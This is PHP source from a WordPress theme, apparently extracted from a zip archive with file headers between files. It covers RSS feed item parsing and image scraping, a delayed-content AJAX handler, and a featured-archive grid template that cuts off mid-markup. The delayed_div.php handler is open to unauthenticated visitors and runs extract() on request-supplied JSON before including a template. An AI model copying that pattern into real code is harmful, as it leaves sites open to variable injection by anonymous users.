					echo wp_kses_post( sprintf( __( 'Feed URL: %s not valid and removed from fetch.', 'soledad' ), '<b>' . esc_url( $feed_url ) . '</b>' ) );
				}
			}
		}

		return $valid_feed_url;
	}

	protected function check_valid_source( $url, $cache, $source_type = 'xml' ) {
		global $post;

		// phpcs:disable WordPress.Security.NonceVerification
		if ( null === $post && ! empty( $_POST['id'] ) ) {
			$post_id = (int) $_POST['id'];
		} else {
			$post_id = $post->ID;
		}
		$is_valid = true;

		$feed = self::init_feed( $url, $cache, array() );
		if ( $feed->error() ) {
			$is_valid = false;
		}
		// phpcs:ignore WordPress.Security.NonceVerification
		if ( isset( $_POST['penci_rss_feed_meta_data']['import_link_author_admin'] ) && 'yes' === $_POST['penci_rss_feed_meta_data']['import_link_author_admin'] ) {
			if ( $feed->get_items() ) {
				$author = $feed->get_items()[0]->get_author();
				if ( empty( $author ) ) {
					update_post_meta( $post_id, '__transient_penci_rss_feed_invalid_dc_namespace', array( $url ) );
					$is_valid = false;
				}
			}
		}

		// Update source type.
		update_post_meta( $post_id, '__penci_rss_feed_source_type', $source_type );

		return $is_valid;
	}

	public static function get_feed_array( $feed_items, $sc, $feed, $feed_url, $sizes ) {
		$count = 0;
		$items = apply_filters( 'penci_rss_feed_feed_items', $feed->get_items( $sc['offset'] ), $feed_url );
		$index = 0;
		foreach ( (array) $items as $item ) {
			$continue = self::item_additional_filter( true, $sc, $item, $feed_url, $index );
			if ( true === $continue ) {
				// Count items. This should be > and not >= because max, when not defined and empty, becomes 0.
				if ( $count >= $sc['max'] ) {
					break;
				}
				$item_attr            = apply_filters( 'penci_rss_feed_item_attributes', $item_attr = '', $sizes, $item, $feed_url, $sc, $index );
				$feed_items[ $count ] = self::get_feed_item_filter( $sc, $sizes, $item, $feed_url, $count, $index );
				if ( isset( $sc['disable_default_style'] ) && 'yes' === $sc['disable_default_style'] ) {
					$item_attr = preg_replace( '/ style=\\"[^\\"]*\\"/', '', $item_attr );
				}
				$feed_items[ $count ]['itemAttr'] = $item_attr;
				$count ++;
			}
			$index ++;
		}

		return $feed_items;
	}

	private static function get_feed_item_filter( $sc, $sizes, $item, $feed_url, $index, $item_index ) {
		$item_link = $item->get_permalink();
		// if the item has no link (possible in some cases), use the feed link.
		if ( empty( $item_link ) ) {
			$item_link = $item->get_id();
			if ( empty( $item_link ) ) {
				$item_link = $item->get_feed()->get_permalink();
			}
		}
		$new_link = apply_filters( 'penci_rss_feed_item_url_filter', $item_link, $sc, $item );
		
		$content_title = html_entity_decode( $item->get_title(), ENT_QUOTES, 'UTF-8' );
		if ( is_numeric( $sc['title'] ) ) {
			$length = intval( $sc['title'] );
			if ( 0 === $length ) {
				$content_title = '';
			}
			if ( $length > 0 && strlen( $content_title ) > $length ) {
				$content_title = preg_replace( '/\s+?(\S+)?$/', '', substr( $content_title, 0, $length ) ) . '...';
			}
		}
		if ( ! is_numeric( $sc['title'] ) && empty( $content_title ) ) {
			$content_title = esc_html__( 'Post Title', 'soledad' );
		}
		$content_title = apply_filters( 'penci_rss_feed_title_output', $content_title, $feed_url, $item );

		// meta=yes is for backward compatibility, otherwise its always better to provide the fields with granularity.
		// if meta=yes, then meta will be placed in default order. Otherwise in the order stated by the user.
		$meta_args = array(
			'author'      => 'yes' === $sc['meta'] || strpos( $sc['meta'], 'author' ) !== false,
			'date'        => 'yes' === $sc['meta'] || strpos( $sc['meta'], 'date' ) !== false,
			'time'        => 'yes' === $sc['meta'] || strpos( $sc['meta'], 'time' ) !== false,
			'source'      => 'yes' === $sc['multiple_meta'] || strpos( $sc['multiple_meta'], 'source' ) !== false,
			'categories'  => strpos( $sc['meta'], 'categories' ) !== false,
			'tz'          => 'gmt',
			'date_format' => get_option( 'date_format' ),
			'time_format' => get_option( 'time_format' ),
		);

		// parse the x=y type setting e.g. tz=local or tz=gmt.
		if ( strpos( $sc['meta'], '=' ) !== false ) {
			$components = array_map( 'trim', explode( ',', $sc['meta'] ) );
			foreach ( $components as $configs ) {
				if ( strpos( $configs, '=' ) === false ) {
					continue;
				}
				$config                  = explode( '=', $configs );
				$meta_args[ $config[0] ] = $config[1];
			}
		}

		// Filter: penci_rss_feed_meta_args.
		$meta_args = apply_filters( 'penci_rss_feed_meta_args', $meta_args, $feed_url, $item );

		// order of the meta tags.
		$meta_order = array( 'author', 'date', 'time', 'categories' );
		if ( 'yes' !== $sc['meta'] ) {
			$meta_order = array_map( 'trim', explode( ',', $sc['meta'] ) );
		}

		$content_meta_values = array();

		// multiple sources?
		$is_multiple = is_array( $feed_url );

		$feed_source = $item->get_feed()->get_title();
		// author.
		if ( $item->get_author() && $meta_args['author'] ) {
			$author      = $item->get_author();
			$author_name = $author->get_name();
			if ( ! $author_name ) {
				$author_name = $author->get_email();
			}

			$author_name = apply_filters( 'penci_rss_feed_author_name', $author_name, $feed_url, $item );

			if ( $is_multiple && $meta_args['source'] && ! empty( $feed_source ) ) {
				$author_name .= sprintf( ' (%s)', $feed_source );
			}

			if ( $author_name ) {
				$domain                        = wp_parse_url( $new_link );
				$author_url                    = isset( $domain['host'] ) ? '//' . $domain['host'] : '';
				$author_url                    = apply_filters( 'penci_rss_feed_author_url', $author_url, $author_name, $feed_url, $item );
				$content_meta_values['author'] = apply_filters( 'penci_rss_feed_meta_author', __( 'by', 'soledad' ) . ' <a href="' . $author_url . '" target="' . $sc['target'] . '" title="' . $domain['host'] . '" >' . $author_name . '</a> ', $author_name, $author_url, $feed_source, $feed_url, $item );
			}
		} elseif ( $is_multiple && $meta_args['source'] && ! empty( $feed_source ) ) {
			$domain                        = wp_parse_url( $new_link );
			$author_url                    = isset( $domain['host'] ) ? '//' . $domain['host'] : '';
			$author_url                    = apply_filters( 'penci_rss_feed_author_url', $author_url, $feed_source, $feed_url, $item );
			$content_meta_values['author'] = apply_filters( 'penci_rss_feed_meta_author', __( 'by', 'soledad' ) . ' <a href="' . $author_url . '" target="' . $sc['target'] . '" title="' . $domain['host'] . '" >' . $feed_source . '</a> ', $feed_source, $author_url, $feed_source, $feed_url, $item );
		}

		// date/time.
		$date_time = $item->get_date( 'U' );
		if ( 'local' === $meta_args['tz'] ) {
			$date_time = get_date_from_gmt( $item->get_date( 'Y-m-d H:i:s' ), 'U' );
			// strings such as Asia/Kolkata need special handling.
			$tz = get_option( 'timezone_string' );
			if ( $tz ) {
				$date_time = gmdate( 'U', $date_time + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
			}
		} elseif ( 'no' === $meta_args['tz'] ) {
			// change the tz component of the date to UTC.
			$raw_date  = preg_replace( '/\++(\d\d\d\d)/', '+0000', $item->get_date( '' ) );
			$date      = DateTime::createFromFormat( DATE_RFC2822, $raw_date );
			$date_time = $date->format( 'U' );
		}

		$date_time = apply_filters( 'penci_rss_feed_feed_timestamp', $date_time, $feed_url, $item );
		if ( $meta_args['date'] && ! empty( $meta_args['date_format'] ) ) {
			$content_meta_values['date'] = apply_filters( 'penci_rss_feed_meta_date', __( 'on', 'soledad' ) . ' ' . date_i18n( $meta_args['date_format'], $date_time ) . ' ', $date_time, $feed_url, $item );
		}

		if ( $meta_args['time'] && ! empty( $meta_args['time_format'] ) ) {
			$content_meta_values['time'] = apply_filters( 'penci_rss_feed_meta_time', __( 'at', 'soledad' ) . ' ' . date_i18n( $meta_args['time_format'], $date_time ) . ' ', $date_time, $feed_url, $item );
		}

		// categories.
		if ( $meta_args['categories'] ) {
			$categories = self::retrieve_categories( null, $item );
			if ( ! empty( $categories ) ) {
				$content_meta_values['categories'] = apply_filters( 'penci_rss_feed_meta_categories', __( 'in', 'soledad' ) . ' ' . $categories . ' ', $categories, $feed_url, $item );
			}
		}

		$content_meta      = '';
		$content_meta_date = '';
		foreach ( $meta_order as $meta ) {
			if ( isset( $content_meta_values[ $meta ] ) ) {
				// collect date/time values separately too.
				if ( in_array( $meta, array( 'date', 'time' ), true ) ) {
					$content_meta_date .= $content_meta_values[ $meta ];
				}
				$content_meta .= $content_meta_values[ $meta ];
			}
		}

		$content_meta    = apply_filters( 'penci_rss_feed_meta_output', $content_meta, $feed_url, $item, $content_meta_values, $meta_order );
		$content_summary = '';
		if ( 'yes' === $sc['summary'] ) {
			$description     = $item->get_description();
			$description     = apply_filters( 'penci_rss_feed_summary_input', $description, $item->get_content(), $feed_url, $item );
			$content_summary = $description;
			if ( is_numeric( $sc['summarylength'] ) && strlen( $description ) > $sc['summarylength'] ) {
				$content_summary = preg_replace( '/\s+?(\S+)?$/', '', substr( $description, 0, $sc['summarylength'] ) ) . ' [&hellip;]';
			}
			$content_summary = apply_filters( 'penci_rss_feed_summary_output', $content_summary, $new_link, $feed_url, $item );
		}
		$item_content = $item->get_content( false );
		if ( empty( $item_content ) ) {
			$item_content = esc_html__( 'Post Content', 'soledad' );
		}
		$item_array = array(
			'feed_url'              => $item->get_feed()->subscribe_url(),
			'item_unique_hash'      => wp_hash( $item->get_permalink() ),
			'item_url'              => $new_link,
			'item_url_target'       => $sc['target'],
			'item_url_follow'       => isset( $sc['follow'] ) && 'yes' === $sc['follow'] ? 'nofollow' : '',
			'item_url_title'        => $item->get_title(),
			'item_img_path'         => self::penci_rss_feed_retrieve_image( $item, $sc ),
			'item_title'            => $content_title,
			'item_content_class'    => 'rss_content',
			'item_content_style'    => '',
			'item_meta'             => $content_meta,
			'item_date'             => $item->get_date( 'U' ),
			'item_date_formatted'   => $content_meta_date,
			'item_author'           => $item->get_author(),
			'item_description'      => $content_summary,
			'item_content'          => apply_filters( 'penci_rss_feed_content', $item_content, $item ),
			'item_source'           => $feed_source,
			'item_full_description' => $item->get_description(),
		);
		$item_array = apply_filters( 'penci_rss_feed_item_filter', $item_array, $item, $sc, $index, $item_index );

		return $item_array;
	}

	public static function retrieve_categories( $dumb, $item ) {
		$cats       = array();
		$categories = $item->get_categories();
		if ( $categories ) {
			foreach ( $categories as $category ) {
				if ( is_string( $category ) ) {
					$cats[] = $category;
				} else {
					$cats[] = $category->get_label();
				}
			}
		}

		return apply_filters( 'penci_rss_feed_categories', implode( ', ', $cats ), $cats, $item );
	}

	public static function penci_rss_feed_retrieve_image( $item, $sc = null ) {
		$image_mime_types = array();
		foreach ( wp_get_mime_types() as $extn => $mime ) {
			if ( strpos( $mime, 'image/' ) !== false ) {
				$image_mime_types[] = $mime;
			}
		}

		$image_mime_types = apply_filters( 'penci_rss_feed_image_mime_types', $image_mime_types );

		$the_thumbnail = '';
		$enclosures    = $item->get_enclosures();
		if ( $enclosures ) {
			foreach ( (array) $enclosures as $enclosure ) {
				// Item thumbnail.
				$thumbnail = $enclosure->get_thumbnail();
				$medium    = $enclosure->get_medium();
				if ( in_array( $medium, array( 'video' ), true ) ) {
					break;
				}
				if ( $thumbnail ) {
					$the_thumbnail = $thumbnail;
				}
				if ( isset( $enclosure->thumbnails ) ) {
					foreach ( (array) $enclosure->thumbnails as $thumbnail ) {
						$the_thumbnail = $thumbnail;
					}
				}
				$thumbnail = $enclosure->embed();
				if ( $thumbnail ) {
					$pattern = '/https?:\/\/.*\.(?:jpg|JPG|jpeg|JPEG|jpe|JPE|gif|GIF|png|PNG)/i';
					if ( preg_match( $pattern, $thumbnail, $matches ) ) {
						$the_thumbnail = $matches[0];
					}
				}
				foreach ( (array) $enclosure->get_link() as $thumbnail ) {
					$pattern = '/https?:\/\/.*\.(?:jpg|JPG|jpeg|JPEG|jpe|JPE|gif|GIF|png|PNG)/i';
					$imgsrc  = $thumbnail;
					if ( preg_match( $pattern, $imgsrc, $matches ) ) {
						$the_thumbnail = $thumbnail;
						break;
					} elseif ( in_array( $enclosure->type, $image_mime_types, true ) ) {
						$the_thumbnail = $thumbnail;
						break;
					}
				}
				// Break loop if thumbnail is found.
				if ( ! empty( $the_thumbnail ) ) {
					break;
				}
			}
		}
		// xmlns:itunes podcast.
		if ( empty( $the_thumbnail ) ) {
			$data = $item->get_item_tags( 'http://www.itunes.com/dtds/podcast-1.0.dtd', 'image' );
			if ( isset( $data['0']['attribs']['']['href'] ) && ! empty( $data['0']['attribs']['']['href'] ) ) {
				$the_thumbnail = $data['0']['attribs']['']['href'];
			}
		}
		// Content image.
		if ( empty( $the_thumbnail ) ) {
			$feed_description = $item->get_content();
			$the_thumbnail    = self::penci_rss_feed_return_image( $feed_description );
		}
		// Description image.
		if ( empty( $the_thumbnail ) ) {
			$feed_description = $item->get_description();
			$the_thumbnail    = self::penci_rss_feed_return_image( $feed_description );
		}

		// handle HTTP images.
		if ( $sc && isset( $sc['http'] ) && 0 === strpos( $the_thumbnail, 'http://' ) ) {
			switch ( $sc['http'] ) {
				case 'https':
					// fall-through.
				case 'force':
					$the_thumbnail = str_replace( 'http://', 'https://', $the_thumbnail );
					break;
				case 'default':
					$the_thumbnail = $sc['default'];
					break;
			}
		}

		$the_thumbnail = html_entity_decode( $the_thumbnail, ENT_QUOTES, 'UTF-8' );
		if ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) {
			$feed_url      = self::normalize_urls( $sc['feeds'] );
			$the_thumbnail = ! empty( $the_thumbnail ) ? $the_thumbnail : apply_filters( 'penci_rss_feed_default_image', $sc['default'], $feed_url );
		}
		$the_thumbnail = apply_filters( 'penci_rss_feed_retrieve_image', $the_thumbnail, $item );

		return $the_thumbnail;
	}

	public static function penci_rss_feed_return_image( $string ) {
		$img     = html_entity_decode( $string, ENT_QUOTES, 'UTF-8' );
		$pattern = '/<img[^>]+\>/i';
		preg_match_all( $pattern, $img, $matches );

		$image = null;
		if ( isset( $matches[0] ) ) {
			foreach ( $matches[0] as $match ) {
				$link         = self::penci_rss_feed_scrape_image( $match );
				$blacklist    = self::penci_rss_feed_blacklist_images();
				$is_blacklist = false;
				foreach ( $blacklist as $string ) {
					if ( strpos( (string) $link, $string ) !== false ) {
						$is_blacklist = true;
						break;
					}
				}
				if ( ! $is_blacklist ) {
					$image = $link;
					break;
				}
			}
		}

		return $image;
	}

	public static function penci_rss_feed_scrape_image( $string, $link = '' ) {
		$pattern = '/< *img[^>]*src *= *["\']?([^"\']*)/';
		$match   = $link;
		preg_match( $pattern, $string, $link );
		if ( ! empty( $link ) && isset( $link[1] ) ) {
			$match = $link[1];
		}

		return $match;
	}

	public static function penci_rss_feed_blacklist_images() {
		$blacklist = array(
			'frownie.png',
			'icon_arrow.gif',
			'icon_biggrin.gif',
			'icon_confused.gif',
			'icon_cool.gif',
			'icon_cry.gif',
			'icon_eek.gif',
			'icon_evil.gif',
			'icon_exclaim.gif',
			'icon_idea.gif',
			'icon_lol.gif',
			'icon_mad.gif',
			'icon_mrgreen.gif',
			'icon_neutral.gif',
			'icon_question.gif',
			'icon_razz.gif',
			'icon_redface.gif',
			'icon_rolleyes.gif',
			'icon_sad.gif',
			'icon_smile.gif',
			'icon_surprised.gif',
			'icon_twisted.gif',
			'icon_wink.gif',
			'mrgreen.png',
			'rolleyes.png',
			'simple-smile.png',
			'//s.w.org/images/core/emoji/',
		);

		return apply_filters( 'penci_rss_feed_feed_blacklist_images', $blacklist );
	}

	public static function penci_rss_feed_image_encode( $string ) {
		// Check if img url is set as an URL parameter.
		$url_tab = wp_parse_url( $string );
		if ( isset( $url_tab['query'] ) ) {
			preg_match_all( '/(http|https):\/\/[^ ]+(\.gif|\.GIF|\.jpg|\.JPG|\.jpeg|\.JPEG|\.png|\.PNG)/', $url_tab['query'], $img_url );
			if ( isset( $img_url[0][0] ) ) {
				$string = $img_url[0][0];
			}
		}

		$return = apply_filters( 'penci_rss_feed_image_encode', esc_url( $string ), $string );

		return $return;
	}
	public static function item_additional_filter( $continue, $sc, $item, $feed_url ) {
		$keywords_ban = $sc['keywords_ban'];
		if ( ! empty( $keywords_ban ) ) {
			foreach ( $keywords_ban as $keyword ) {
				if ( strpos( $item->get_title(), $keyword ) !== false || strpos( $item->get_content(), $keyword ) !== false ) {
					$continue = false;
				}
			}
		}

		if ( ! empty( $sc['keywords_inc'] ) || ! empty( $sc['keywords_title'] ) ) {
			return $continue;
		}

		if ( ! empty( $sc['keywords_exc'] ) || ! empty( $sc['keywords_ban'] ) ) {
			return $continue;
		}

		// Date filter.
		if ( $continue && ! empty( $sc['from_datetime'] ) && ! empty( $sc['to_datetime'] ) ) {
			$from_datetime = strtotime( $sc['from_datetime'] );
			$to_datetime   = strtotime( $sc['to_datetime'] );
			$item_date     = strtotime( $item->get_date() );
			$continue      = ( ( $from_datetime <= $item_date ) && ( $item_date <= $to_datetime ) );
		}

		return $continue;
	}

	public static function get_feed_url( $feeds ) {
		$feed_url = '';
		if ( ! empty( $feeds ) ) {
			$feeds    = rtrim( $feeds, ',' );
			$feeds    = explode( ',', $feeds );
			$feed_url = array();
			// Remove SSL from HTTP request to prevent fetching errors.
			foreach ( $feeds as $feed ) {
				$feed = trim( $feed );
				// scheme-less URLs.
				if ( strpos( $feed, 'http' ) !== 0 ) {
					$feed = 'http://' . $feed;
				}

				if ( is_array( $feed ) ) {
					foreach ( $feed as $f ) {
						$feed_url[] = $f;
					}
				} else {
					$feed_url[] = $feed;
				}
			}
			if ( count( $feed_url ) === 1 ) {
				$feed_url = $feed_url[0];
			}
		}

		return $feed_url;
	}
}PK     N\      inc/delayed_div.phpnu [        <?php
if ( ! function_exists( 'penci_delayed_div_condition' ) ) {
	function penci_delayed_div_condition() {

		$attr = [];

		$name = $id = '';

		if ( is_home() || is_front_page() ) {
			$name = 'home';
		} elseif ( is_page() ) {
			$name = 'page';
		} elseif ( is_singular() ) {
			$name = 'single';
		} elseif ( is_category() ) {
			$name = 'category';
		} elseif ( is_tag() ) {
			$name = 'tag';
		} elseif ( is_search() ) {
			$name = 'search';
		} elseif ( is_tax() ) {
			$name = 'tax';
		} elseif ( is_archive() ) {
			$name = 'archive';
		}

		if ( is_page() || is_single() || is_singular() ) {
			$id = get_the_ID();
		}

		if ( is_tag() || is_category() ) {
			$id = get_queried_object_id();
		}

		if ( $id ) {
			$attr[] = 'data-delayed-id="' . $id . '"';
		}

		if ( $name ) {
			$attr[] = 'data-delayed-con="' . $name . '"';
		}

		if ( $attr ) {
			return implode( ' ', $attr );
		}

	}
}

if ( ! function_exists( 'penci_delayed_div_content' ) ) {
	add_action( 'wp_ajax_penci_delayed_div_content', 'penci_delayed_div_content' );
	add_action( 'wp_ajax_nopriv_penci_delayed_div_content', 'penci_delayed_div_content' );
	function penci_delayed_div_content() {
		$type     = isset( $_REQUEST['type'] ) ? $_REQUEST['type'] : '';
		$id       = isset( $_REQUEST['id'] ) ? $_REQUEST['id'] : '';
		$settings = isset( $_REQUEST['settings'] ) ? wp_unslash( $_REQUEST['settings'] ) : [];
		$class    = isset( $_REQUEST['class'] ) ? $_REQUEST['class'] : 'pc-block-content';
		$blogid   = get_current_blog_id();

		$unqiue_name = 'pcdelayed_' . $blogid . strtolower( $type . $id . $class );

		$cache_data = get_transient( $unqiue_name );

		$cache_data = '';

		$html = '';

		if ( $cache_data ) {
			$html = $cache_data;
		} else {

			if ( $type == 'block' ) {
				$content = get_post( $id );

				if ( $content ) {
					if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $id )->is_built_with_elementor() ) {
						$html .= '<div class="' . esc_attr( $class ) . '">';
						$html .= penci_get_elementor_content( $id );
						$html .= '</div>';
					} else {
						$html .= '<div class="' . esc_attr( $class ) . ' js-composer-content">';
						$html .= do_shortcode( $content->post_content );

						$shortcodes_custom_css = get_post_meta( $id, '_wpb_shortcodes_custom_css', true );

						$html .= '<style data-type="vc_shortcodes-custom-css">';
						if ( ! empty( $shortcodes_custom_css ) ) {
							$html .= $shortcodes_custom_css;
						}
						$html .= '</style>';
						$html .= '</div>';
					}
				}
			} else if ( $type == 'template-footer' ) {
				ob_start();
				extract( json_decode( $settings, true ) );
				include PENCI_SOLEDAD_DIR . '/template-parts/footer/footer-main.php';
				$html = ob_get_clean();
			}

			set_transient( $unqiue_name, $html );

		}

		wp_send_json_success( [ 'html' => $html ] );
	}
}

add_action( 'save_post', 'penci_delayed_clear_cache' );
add_action( 'wp_update_post', 'penci_delayed_clear_cache' );
add_action( 'customize_save_after', 'penci_delayed_clear_cache' );
function penci_delayed_clear_cache() {
	global $wpdb;

	$blogid = get_current_blog_id();

	$transients = (array) $wpdb->get_results( "SELECT `option_name` FROM {$wpdb->options} WHERE `option_name` LIKE 'pcdelayed_{$blogid}_%'", ARRAY_A );

	foreach ( $transients as $transient ) {
		$transient = str_replace( '_transient_', '', $transient['option_name'] );
		\delete_transient( $transient );
	}
}

add_filter( 'template_include', function( $template ) {
	if ( is_singular() && isset($_REQUEST['penci_get_delayed_sections'])  ) {
		if ( $_REQUEST['penci_get_delayed_sections'] == 'sections' ) {
			$template = locate_template( array( 'template-parts/single-sections.php' ) );
		} else if ( $_REQUEST['penci_get_delayed_sections'] == 'sidebar' ) {
			$template = locate_template( array( 'template-parts/single-sidebar.php' ) );
		} else if ( $_REQUEST['penci_get_delayed_sections'] == 'mobile_nav' ) {
			$template = locate_template( array( 'template-parts/header/vertical-nav.php' ) );
		} else if ( $_REQUEST['penci_get_delayed_sections'] == 'content' ) {
			$template = locate_template( array( 'template-parts/single-content.php' ) );
		}
		
	}
	return $template;
}, 99 );PK     N\y3^  3^    inc/featured_archive_posts.phpnu [        <?php
// get settings
if ( ! function_exists( 'penci_featured_archive_posts_content' ) ) {
	add_action( 'penci_featured_archive_posts', 'penci_featured_archive_posts_content' );
	function penci_featured_archive_posts_content() {
		$penci_featured_layout     = '';
		$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
		$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );

		if ( is_category() && $penci_cat_featured_layout ) {
			$penci_featured_layout = $penci_cat_featured_layout;
		}

		if ( is_tag() && $penci_tag_featured_layout ) {
			$penci_featured_layout = $penci_tag_featured_layout;
		}

		$grid_per_page = penci_featured_archive_ppl( $penci_featured_layout );

		if ( $penci_featured_layout ) {


			$biggid_style = $penci_featured_layout;
			// setup biggrid style
			$wrapper_class = $data_class = '';
			$flag_style    = false;
			if ( in_array( $penci_featured_layout, [
				'style-1 penci-grid-col-2',
				'style-1 penci-grid-col-3',
				'style-1 penci-grid-col-4',
				'style-1 penci-grid-col-5'
			] ) ) {
				$data_class   .= ' penci-dflex';
				$biggid_style = 'style-1';
			} else {
				$data_class .= ' penci-dblock';
				$flag_style = true;
				$data_class .= ' penci-fixh';
			}

			$two_sidebar_class = '';
			$sidebar_position  = penci_get_sidebar_position_archive();
			if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;

			$wrapper_class .= ' container biggrid-archive-wrapper';
			$wrapper_class .= $two_sidebar_class;

			$wrapper_class .= is_category() ? ' biggrid-cat-wrapper' : ' biggrid-tag-wrapper';

			$wrapper_class .= ' penci-bgrid-based-post penci-bgrid-' . $penci_featured_layout . ' pcbg-ficonpo-top-right pcbg-reiconpo-top-left penci-bgrid-content-on pencibg-imageh-zoom-in pencibg-texth-none pencibg-textani-movetop';

			if ( get_theme_mod( 'penci_arcf_mmeta' ) ) {
				$wrapper_class .= ' hide-mdesc';
			}

			if ( get_theme_mod( 'penci_arcf_mcat' ) ) {
				$wrapper_class .= ' hide-msubtitle';
			}

			$featured_posts = new WP_Query( penci_get_query_archive_first_posts_featured() );
			$big_items      = penci_big_grid_is_big_items( $biggid_style );

			//gettings category settings
			$post_meta      = [ 'title', 'cat', 'date' ];
			$disable_lazy   = get_theme_mod( 'penci_disable_lazyload_layout' );
			$show_reviewpie = true;

			if ( get_theme_mod( 'penci_review_hide_piechart' ) ) {
				$show_reviewpie = false;
			}
			$primary_cat = get_theme_mod( 'penci_show_pricat_yoast_only' );
			if ( get_theme_mod( 'penci_arcf_cat' ) ) {
				unset( $post_meta[1] );
			}
			if ( get_theme_mod( 'penci_arcf_date' ) ) {
				unset( $post_meta[2] );
			}
			if ( get_theme_mod( 'penci_arcf_author' ) ) {
				$post_meta[] = 'author';
			}
			if ( get_theme_mod( 'penci_arcf_cm' ) ) {
				$post_meta[] = 'comment';
			}
			if ( get_theme_mod( 'penci_arcf_view' ) ) {
				$post_meta[] = 'views';
			}
			if ( get_theme_mod( 'penci_arcf_reading' ) ) {
				$post_meta[] = 'reading';
			}
			$show_formaticon = get_theme_mod( 'penci_grid_icon_format' );
			if ( $featured_posts->have_posts() ) {
				$bg          = 1;
				$thumb_size  = $mthumb_size = 'penci-masonry-thumb';
				$bthumb_size = 'penci-full-thumb';
				$num_posts   = $featured_posts->post_count;
				?>
                <div class="penci-clearfix penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
                    <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                        <div class="penci-biggrid-inner">
							<?php
							if ( $flag_style ) {
								echo '<div class="penci-big-grid-ajax-data">';
							}
							echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							while ( $featured_posts->have_posts() ) {
								$featured_posts->the_post();

								if ( $bg <= $grid_per_page ) {

									$is_big_item = '';
									$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
									$thumbnail   = $thumb_size;
									if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
										$thumbnail   = $bthumb_size;
										$is_big_item = ' pcbg-big-item';
									}
									if ( penci_is_mobile() ) {
										$thumbnail = $mthumb_size;
									}
									?>
                                    <div class="penci-bgitem<?php echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ); ?>">
                                        <div class="penci-bgitin">
                                            <div class="penci-bgmain">
                                                <div class="pcbg-thumb">
													<?php
													/* Display Review Piechart  */
													if ( $show_reviewpie && function_exists( 'penci_display_piechart_review_html' ) ) {
														penci_display_piechart_review_html( get_the_ID() );
													}
													?>
													<?php if ( $show_formaticon ): ?>
														<?php if ( has_post_format( 'video' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'audio' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'link' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
														<?php endif; ?>
														<?php if ( has_post_format( 'quote' ) ) : ?>
                                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
														<?php endif; ?>
													<?php endif; ?>
                                                    <div class="pcbg-thumbin">
                                                        <a class="pcbg-bgoverlay active-overlay"
                                                           href="<?php the_permalink(); ?>"
                                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

                                                            <div <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail ), ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
	                                                            <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail ), get_the_title(),! $disable_lazy ); ?>
                                                            </div>

                                                    </div>
                                                </div>
                                                <div class="pcbg-content">
                                                    <div class="pcbg-content-flex">
                                                        <a class="pcbg-bgoverlay active-overlay"
                                                           href="<?php the_permalink(); ?>"
                                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                                        <div class="pcbg-content-inner bgcontent-block">
                                                            <a href="<?php the_permalink(); ?>"
                                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                               class="pcbg-bgoverlaytext item-hover"></a>

															<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                                <div class="pcbg-above item-hover">
                                                                <span class="cat pcbg-sub-title">
                                                                    <?php penci_category( '', $primary_cat ); ?>
                                                                </span>
                                                                </div>
															<?php endif; ?>

															<?php if ( in_array( 'title', $post_meta ) ) :
																$title_length = get_theme_mod( 'penci_arf_titlength', '' );
																?>
                                                                <div class="pcbg-heading item-hover">
                                                                    <h3 class="pcbg-title">
                                                                        <a href="<?php the_permalink(); ?>">
																			<?php
																			if ( ! $title_length ) {
																				the_title();
																			} else {
																				echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																			}
																			?>
                                                                        </a>
                                                                    </h3>
                                                                </div>
															<?php endif; ?>

															<?php if ( count( array_intersect( array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading',
																	'excerpt'
																), $post_meta ) ) > 0 ) { ?>
                                                                <div class="grid-post-box-meta pcbg-meta item-hover">
                                                                    <div class="pcbg-meta-desc">
																		<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                            <span class="bg-date-author author-italic author vcard">
                                                                            <?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
																					penci_coauthors_posts_links();
																				else: ?>
                                                                                    <a class="author-url url fn n"
                                                                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																				<?php endif; ?>
                                                                        </span>
																		<?php endif; ?>
																		<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                            <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
																		<?php endif; ?>
																		<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                            <span class="bg-comment">
